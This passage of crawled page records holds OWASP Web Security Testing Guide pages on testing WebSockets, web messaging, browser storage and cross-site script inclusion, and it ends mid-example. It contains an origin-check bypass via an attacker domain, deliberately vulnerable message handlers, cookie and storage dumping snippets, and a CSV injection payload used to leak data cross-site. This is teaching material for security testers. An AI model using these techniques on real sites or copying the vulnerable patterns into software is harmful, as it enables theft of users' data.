server’s responsibility to verify the [`Origin` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for CSRF-like issues. See also [Top 10-2017 A5-Broken Access Control](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control).\n\n### Confidentiality and Integrity\n\nWebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the `ws://` URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the `wss://` URI scheme is used (default port 443). See also [Top 10-2017 A3-Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure).\n\n### Input Sanitization\n\nAs with any data originating from untrusted sources, the data should be properly sanitized and encoded. See also [Top 10-2017 A1-Injection](https://owasp.org/www-project-top-ten/2017/A1_2017-Injection) and [Top 10-2017 A7-Cross-Site Scripting (XSS)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)).\n\n## Test Objectives\n\n- Identify the usage of WebSockets.\n- Assess its implementation by using the same tests on normal HTTP channels.\n\n## How to Test\n\n### Black-Box Testing\n\n1. Identify that the application is using WebSockets.\n - Inspect the client-side source code for the `ws://` or `wss://` URI scheme.\n - Use Google Chrome’s Developer Tools to view the Network WebSocket communication.\n - Use [ZAP’s](https://www.zaproxy.org) WebSocket tab.\n2. Origin.\n - Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.\n3. Confidentiality and Integrity.\n - Check that the WebSocket connection is using SSL to transport sensitive information `wss://` .\n - Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [Testing for Weak Transport Layer Security](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_Transport_Layer_Security) section of this guide.\n4. Authentication.\n - WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [Authentication Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README) sections of this guide.\n5. Authorization.\n - WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [Authorization Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/README) sections of this guide.\n6. Input Sanitization.\n - Use [ZAP’s](https://www.zaproxy.org) WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [Testing for Data Validation](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README) sections of this guide.\n\n#### Example 1\n\nOnce we have identified that the application is using WebSockets (as described above) we can use the [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org) to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.\n\n*Figure 4.11.10-1: ZAP WebSockets*\n\n#### Example 2\n\nUsing a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake’s origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.\n\n*Figure 4.11.10-2: WebSocket Client*\n\n### Gray-Box Testing\n\nGray-box testing is similar to black-box testing. In gray-box testing, the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n- [WebSocket Client](https://github.com/ethicalhack3r/scripts/blob/master/WebSockets.html)\n- [Google Chrome Simple WebSocket Client](https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en)\n\n## References\n\n- [HTML5 Rocks - Introducing WebSockets: Bringing Sockets to the Web](https://www.html5rocks.com/en/tutorials/websockets/basics/)\n- [W3C - The WebSocket API](https://html.spec.whatwg.org/multipage/web-sockets.html#network)\n- [IETF - The WebSocket Protocol](https://tools.ietf.org/html/rfc6455)\n- [Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH)](http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html)\n- [Jussi-Pekka Erkkilä - WebSocket Security Analysis (PDF)](http://juerkkil.iki.fi/files/writings/websocket2012.pdf)\n- [Robert Koch- On WebSockets in Penetration Testing](http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf)\n- [DigiNinja - OWASP ZAP and Web Sockets](http://www.digininja.org/blog/zap_web_sockets.php)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6354, "slov": 758, "odkazu": 194, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:27", "sha256": "3f22b5be6267e658f3720f1fc785e9c075334290b9a91b79a3cf92f7646305b4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://html.spec.whatwg.org/multipage/web-sockets.html", "https://tools.ietf.org/html/rfc6455", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin", "https://www.zaproxy.org/", "https://github.com/ethicalhack3r/scripts/blob/master/WebSockets.html", "https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en", "https://www.html5rocks.com/en/tutorials/websockets/basics/", "http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html", "http://juerkkil.iki.fi/files/writings/websocket2012.pdf", "http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf", "http://www.digininja.org/blog/zap_web_sockets.php", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Testing Web Messaging"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Origin Security"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Examine Origin Security"}, {"uroven": 3, "text": "Examine Input Validation"}, {"uroven": 3, "text": "Static Code Analysis"}], "markdown": "# WSTG - Stable\n\n# Testing Web Messaging\n\n| ID |\n| --- |\n| WSTG-CLNT-11 |\n\n## Summary\n\nWeb Messaging (also known as [Cross Document Messaging](https://html.spec.whatwg.org/multipage/web-messaging.html#web-messaging)) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging, the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser. Developers used multiple hacks in order to accomplish these tasks, and most of them were mainly insecure.\n\nThis restriction within the browser is in place to prevent a malicious website from reading confidential data from other iframes, tabs, etc; however, there are some legitimate cases where two trusted websites need to exchange data with each other. To meet this need, Cross Document Messaging was introduced in the [WHATWG HTML5](https://html.spec.whatwg.org/multipage/) draft specification and was implemented in all major browsers. It enables secure communications between multiple origins across iframes, tabs and windows.\n\nThe messaging API introduced the [`postMessage()` method](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage), with which plain-text messages can be sent cross-origin. It consists of two parameters: message, and domain.\n\nThere are some security concerns when using `*` as the domain that we discuss below. In order to receive messages, the receiving website needs to add a new event handler, which has the following attributes:\n\n- Data, the content of the incoming message;\n- Origin of the sender document; and\n- Source, the source window.\n\nHere is an example of the messaging API in use. To send a message:\n\n```\niframe1.contentWindow.postMessage(\"Hello world\",\"http://www.example.com\"); \n```\n\nTo receive a message:\n\n```\nwindow.addEventListener(\"message\", handler, true); function handler(event) { if(event.origin === 'chat.example.com') { /* process message (event.data) */ } else { /* ignore messages from untrusted domains */ } } \n```\n\n### Origin Security\n\nThe origin is made up of a scheme, host name, and port. It uniquely identifies the domain sending or receiving the message, and does not include the path or the fragment part of the URL. For instance, `https://example.com` will be considered different from `http://example.com` because the schema of the former is `https`, while the latter is `http`. This also applies to web servers running in the same domain but on different ports.\n\n## Test Objectives\n\n- Assess the security of the message’s origin.\n- Validate that it’s using safe methods and validating its input.\n\n## How to Test\n\n### Examine Origin Security\n\nTesters should check whether the application code is filtering and processing messages from trusted domains. Within the sending domain, also ensure that the receiving domain is explicitly stated, and that `*` is not used as the second argument of `postMessage()`. This practice could introduce security concerns and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.\n\nIf the website fails to add security controls to restrict the domains or origins that are allowed to send messages to a website, it is likely to introduce a security risk. Testers should examine the code for message event listeners and get the callback function from the `addEventListener` method for further analysis. Domains must always be verified prior to data manipulation.\n\n### Examine Input Validation\n\nAlthough the website is theoretically accepting messages from trusted domains only, data must still be treated as externally-sourced, untrusted data, and processed with the appropriate security controls. Testers should analyze the code and look for insecure methods, in particular where data is being evaluated via `eval()` or inserted into the DOM via the `innerHTML` property, which may create DOM-based XSS vulnerabilities.\n\n### Static Code Analysis\n\nJavaScript code should be analyzed to determine how web messaging is implemented. In particular, testers should be interested in how the website is restricting messages from untrusted domains, and how the data is handled even for trusted domains.\n\nIn this example, access is needed for every subdomain (www, chat, forums, …) within the owasp.org domain. The code is trying to accept any domain with `.owasp.org`:\n\n```\nwindow.addEventListener(\"message\", callback, true); function callback(e) { if(e.origin.indexOf(\".owasp.org\")!=-1) { /* process message (e.data) */ } } \n```\n\nThe intention is to allow subdomains such as:\n\n- `www.owasp.org`\n- `chat.owasp.org`\n- `forums.owasp.org`\n\nUnfortunately, this introduces vulnerabilities. An attacker can easily bypass the filter since a domain such as `www.owasp.org.attacker.com` will match.\n\nHere is an example of code that lacks an origin check. This is very insecure, as it will accept input from any domain:\n\n```\nwindow.addEventListener(\"message\", callback, true); function callback(e) { /* process message (e.data) */ } \n```\n\nHere is an example with input validation vulnerabilities that may lead to XSS attack:\n\n```\nwindow.addEventListener(\"message\", callback, true); function callback(e) { if(e.origin === \"trusted.domain.com\") { element.innerHTML= e.data; } } \n```\n\nA more secure approach would be to use the property `innerText` instead of `innerHTML`.\n\nFor further OWASP resources regarding web messaging, see [OWASP HTML5 Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5618, "slov": 791, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:28", "sha256": "f3a0ee18613ef525881d73623564c3154523649fdb4a6d4c5ddd21f4fa5ac79b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://html.spec.whatwg.org/multipage/web-messaging.html", "https://html.spec.whatwg.org/multipage/", "https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage", "https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Testing Browser Storage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Local Storage"}, {"uroven": 4, "text": "List All Key-Value Entries"}, {"uroven": 3, "text": "Session Storage"}, {"uroven": 4, "text": "List All Key-Value Entries"}, {"uroven": 3, "text": "IndexedDB"}, {"uroven": 4, "text": "Print All the Contents of IndexedDB"}, {"uroven": 3, "text": "Web SQL"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 4, "text": "List All Cookies"}, {"uroven": 3, "text": "Global Window Object"}, {"uroven": 4, "text": "List All Entries on the Window Object"}, {"uroven": 3, "text": "Attack Chain"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Stable\n\n# Testing Browser Storage\n\n| ID |\n| --- |\n| WSTG-CLNT-12 |\n\n## Summary\n\nBrowsers provide the following client-side storage mechanisms for developers to store and retrieve data:\n\n- Local Storage\n- Session Storage\n- IndexedDB\n- Web SQL (Deprecated)\n- Cookies\n\nThese storage mechanisms can be viewed and edited using the browser’s developer tools, such as [Google Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/storage/localstorage) or [Firefox’s Storage Inspector](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector).\n\nNote: While cache is also a form of storage it is covered in a [separate section](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses) covering its own peculiarities and concerns.\n\n## Test Objectives\n\n- Determine whether the website is storing sensitive data in client-side storage.\n- The code handling of the storage objects should be examined for possibilities of injection attacks, such as utilizing unvalidated input or vulnerable libraries.\n\n## How to Test\n\n### Local Storage\n\n`window.localStorage` is a global property that implements the [Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) and provides **persistent** key-value storage in the browser.\n\nBoth the keys and values can only be strings, so any non-string values must be converted to strings first before storing them, usually done via [JSON.stringify](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify).\n\nEntries to `localStorage` persist even when the browser window closes, with the exception of windows in Private/Incognito mode.\n\nThe maximum storage capacity of `localStorage` varies between browsers.\n\n#### List All Key-Value Entries\n\n```\nfor (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); const value = localStorage.getItem(key); console.log(`${key}: ${value}`); } \n```\n\n### Session Storage\n\n`window.sessionStorage` is a global property that implements the [Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) and provides **ephemeral** key-value storage in the browser.\n\nBoth the keys and values can only be strings, so any non-string values must be converted to strings first before storing them, usually done via [JSON.stringify](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify).\n\nEntries to `sessionStorage` are ephemeral because they are cleared when the browser tab/window is closed.\n\nThe maximum storage capacity of `sessionStorage` varies between browsers.\n\n#### List All Key-Value Entries\n\n```\nfor (let i = 0; i < sessionStorage.length; i++) { const key = sessionStorage.key(i); const value = sessionStorage.getItem(key); console.log(`${key}: ${value}`); } \n```\n\n### IndexedDB\n\nIndexedDB is a transactional, object-oriented database intended for structured data. An IndexedDB database can have multiple object stores and each object store can have multiple objects.\n\nIn contrast to Local Storage and Session Storage, IndexedDB can store more than just strings. Any objects supported by the [structured clone algorithm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm) can be stored in IndexedDB.\n\nAn example of a complex JavaScript object that can be stored in IndexedDB, but not in Local/Session Storage are [CryptoKeys](https://developer.mozilla.org/en-US/docs/Web/API/CryptoKey).\n\nW3C recommendation on [Web Crypto API](https://www.w3.org/TR/WebCryptoAPI/) [recommends](https://www.w3.org/TR/WebCryptoAPI/#concepts-key-storage) that CryptoKeys that need to be persisted in the browser, to be stored in IndexedDB. When testing a web page, look for any CryptoKeys in IndexedDB and check if they are set as `extractable: true` when they should have been set to `extractable: false` (i.e. ensure the underlying private key material is never exposed during cryptographic operations.)\n\n#### Print All the Contents of IndexedDB\n\n```\nconst dumpIndexedDB = dbName => { const DB_VERSION = 1; const req = indexedDB.open(dbName, DB_VERSION); req.onsuccess = function() { const db = req.result; const objectStoreNames = db.objectStoreNames || []; console.log(`[*] Database: ${dbName}`); Array.from(objectStoreNames).forEach(storeName => { const txn = db.transaction(storeName, 'readonly'); const objectStore = txn.objectStore(storeName); console.log(`\\t[+] ObjectStore: ${storeName}`); // Print all entries in objectStore with name `storeName` objectStore.getAll().onsuccess = event => { const items = event.target.result || []; items.forEach(item => console.log(`\\t\\t[-] `, item)); }; }); }; }; indexedDB.databases().then(dbs => dbs.forEach(db => dumpIndexedDB(db.name))); \n```\n\n### Web SQL\n\nWeb SQL is deprecated since November 18, 2010 and it’s recommended that web developers do not use it.\n\n### Cookies\n\nCookies are a key-value storage mechanism that is primarily used for session management but web developers can still use it to store arbitrary string data.\n\nCookies are covered extensively in the [testing for Cookies attributes](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) scenario.\n\n#### List All Cookies\n\n```\nconsole.log(window.document.cookie); \n```\n\n### Global Window Object\n\nSometimes web developers initialize and maintain global state that is available only during the runtime life of the page by assigning custom attributes to the global `window` object. For example:\n\n```\nwindow.MY_STATE = { counter: 0, flag: false, }; \n```\n\nAny data attached on the `window` object will be lost when the page is refreshed or closed.\n\n#### List All Entries on the Window Object\n\n```\n(() => { // create an iframe and append to body to load a clean window object const iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe); // get the current list of properties on window const currentWindow = Object.getOwnPropertyNames(window); // filter the list against the properties that exist in the clean window const results = currentWindow.filter( prop => !iframe.contentWindow.hasOwnProperty(prop) ); // remove iframe document.body.removeChild(iframe); // log key-value entries that are different results.forEach(key => console.log(`${key}: ${window[key]}`)); })(); \n```\n\n*(Modified version of this [snippet](https://stackoverflow.com/a/17246535/3099132))*\n\n### Attack Chain\n\nFollowing the identification any of the above attack vectors, an attack chain can be formed with different types of client-side attacks, such as [DOM based XSS](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting) attacks.\n\n## Remediation\n\nApplications should be storing sensitive data on the server-side, and not on the client-side, in a secured manner following best practices.\n\n## References\n\n- [Local Storage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)\n- [Session Storage](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage)\n- [IndexedDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API)\n- [Web Crypto API: Key Storage](https://www.w3.org/TR/WebCryptoAPI/#concepts-key-storage)\n- [Web SQL](https://www.w3.org/TR/webdatabase/)\n- [Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n\nFor more OWASP resources on the HTML5 Web Storage API, see the [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#html5-web-storage-api).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7660, "slov": 899, "odkazu": 193, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:29", "sha256": "266cc280018e8cadc5ddd1c8c45bc459bd88644d66624e72704fa56544e1f296", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developers.google.com/web/tools/chrome-devtools/storage/localstorage", "https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector", "https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify", "https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm", "https://developer.mozilla.org/en-US/docs/Web/API/CryptoKey", "https://www.w3.org/TR/WebCryptoAPI/", "https://stackoverflow.com/a/17246535/3099132", "https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage", "https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage", "https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API", "https://www.w3.org/TR/webdatabase/", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Testing for Cross Site Script Inclusion"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Collect Data Using Authenticated and Unauthenticated User Sessions"}, {"uroven": 3, "text": "Determine Whether the Sensitive Data Can Be Leaked Using JavaScript"}, {"uroven": 3, "text": "1. Sensitive Data Leakage via Global Variables"}, {"uroven": 3, "text": "2. Sensitive Data Leakage via Global Function Parameters"}, {"uroven": 3, "text": "3. Sensitive Data Leakage via CSV with Quotations Theft"}, {"uroven": 3, "text": "4. Sensitive Data Leakage via JavaScript Runtime Errors"}, {"uroven": 3, "text": "5. Sensitive Data Leakage via Prototype Chaining Using this"}], "markdown": "# WSTG - Stable\n\n# Testing for Cross Site Script Inclusion\n\n| ID |\n| --- |\n| WSTG-CLNT-13 |\n\n## Summary\n\nCross Site Script Inclusion (XSSI) vulnerability allows sensitive data leakage across-origin or cross-domain boundaries. Sensitive data could include authentication-related data (login states, cookies, auth tokens, session IDs, etc.) or user’s personal or sensitive personal data (email addresses, phone numbers, credit card details, social security numbers, etc.). XSSI is a client-side attack similar to Cross Site Request Forgery (CSRF) but has a different purpose. Where CSRF uses the authenticated user context to execute certain state-changing actions inside a victim’s page (e.g. transfer money to the attacker’s account, modify privileges, reset password, etc.), XSSI instead uses JavaScript on the client-side to leak sensitive data from authenticated sessions.\n\nBy default, websites are only allowed to access data if they are from the same origin. This is a key application security principle and governed by the same-origin policy (defined by [RFC 6454](https://tools.ietf.org/html/rfc6454)). An origin is defined as the combination of URI scheme (HTTP or HTTPS), host name, and port number. However, this policy is not applicable for HTML `
\n```\n\nIn this example, a victim is authenticated with `victim.com`. An attacker lures the victim to `attackingwebsite.com` via social engineering, phishing emails, etc. The victim’s browser then fetches `api.js`, resulting in the sensitive data being leaked via the global JavaScript variable and displayed using `innerHTML`.\n\n### 2. Sensitive Data Leakage via Global Function Parameters\n\nThis example is similar to the previous one, except in this case `attackingwebsite.com` uses a global JavaScript function to extract the sensitive data by overwriting the victim’s global JavaScript function.\n\nHere are the contents of `https://victim.com/internal/api.js`:\n\n```\n(function() { var secret = \"supersecretAPIkey\"; window.globalFunction(secret); })(); \n```\n\nThe attack site, `attackingwebsite.com`, has an `index.html` with the following code:\n\n```\n Leaking data via global function parameters
\n```\n\nThere are other XSSI vulnerabilities that can result in sensitive data leakage either via JavaScript prototype chains or global function calls. For more on these attacks, see [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf).\n\n### 3. Sensitive Data Leakage via CSV with Quotations Theft\n\nTo leak data the attacker/tester has to be able to inject JavaScript code into the CSV data. The following example code is an excerpt from Takeshi Terada’s [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf) whitepaper.\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/csv\nContent-Disposition: attachment; filename=\"a.csv\"\nContent-Length: xxxx\n\n1,\"___\",\"aaa@a.example\",\"03-0000-0001\"\n2,\"foo\",\"bbb@b.example\",\"03-0000-0002\"\n...\n98,\"bar\",\"yyy@example.net\",\"03-0000-0088\"\n99,\"___\",\"zzz@example.com\",\"03-0000-0099\"\n```\n\nIn this example, using the `___` columns as injection points and inserting JavaScript strings in their place has the following result.\n\n```\n1,\"\\\"\",$$$=function(){/*\",\"aaa@a.example\",\"03-0000-0001\"\n2,\"foo\",\"bbb@b.example\",\"03-0000-0002\"\n...\n98,\"bar\",\"yyy@example.net\",\"03-0000-0088\"\n99,\"*/}//\",\"zzz@example.com\",\"03-0000-0099\"\n```\n\n[Jeremiah Grossman wrote about a similar vulnerability in Gmail](https://blog.jeremiahgrossman.com/2006/01/advanced-web-attack-techniques-using.html) in 2006 that allowed the extraction of user contacts in JSON. In this case, the data was received from Gmail and parsed by the browser JavaScript engine using an unreferenced Array constructor to leak the data. An attacker could access this Array with the sensitive data by defining and overwriting the internal Array constructor like this:\n\n```\n Leaking gmail contacts via JSON \n```\n\n### 4. Sensitive Data Leakage via JavaScript Runtime Errors\n\nBrowsers normally present standardized [JavaScript error messages](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors). However, in the case of IE9/10, runtime error messages provided additional details that could be used to leak data. For example, a website `victim.com` serves the following content at the URI `http://victim.com/service/csvendpoint` for authenticated users:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/csv\nContent-Disposition: attachment; filename=\"a.csv\"\nContent-Length: 13\n\n1,abc,def,ghi\n```\n\nThis vulnerability could be exploited with the following:\n\n```\n \n```\n\nWhen the browser tries to render the CSV content as JavaScript, it fails and leaks the sensitive data:\n\n*Figure 4.11.13-1: JavaScript runtime error message*\n\n### 5. Sensitive Data Leakage via Prototype Chaining Using `this`\n\nIn JavaScript, the `this` keyword is dynamically scoped. This means if a function is called upon an object, `this` will point to this object even though the called function might not belong to the object itself. This behavior can be used to leak data. In the following example from [Sebastian Leike’s demonstration page](http://sebastian-lekies.de/leak/), the sensitive data is stored in an Array. An attacker can override `Array.prototype.forEach` with an attacker-controlled function. If some code calls the `forEach` function on an array instance that contains sensitive values, the attacker-controlled function will be invoked with `this` pointing to the object that contains the sensitive data.\n\nHere is an excerpt of a JavaScript file containing sensitive data, `javascript.js`:\n\n```\n... (function() { var secret = [\"578a8c7c0d8f34f5\", \"345a8b7c9d8e34f5\"]; secret.forEach(function(element) { // do something here }); })(); ... \n```\n\nThe sensitive data can be leaked with the following JavaScript code:\n\n```\n...\n
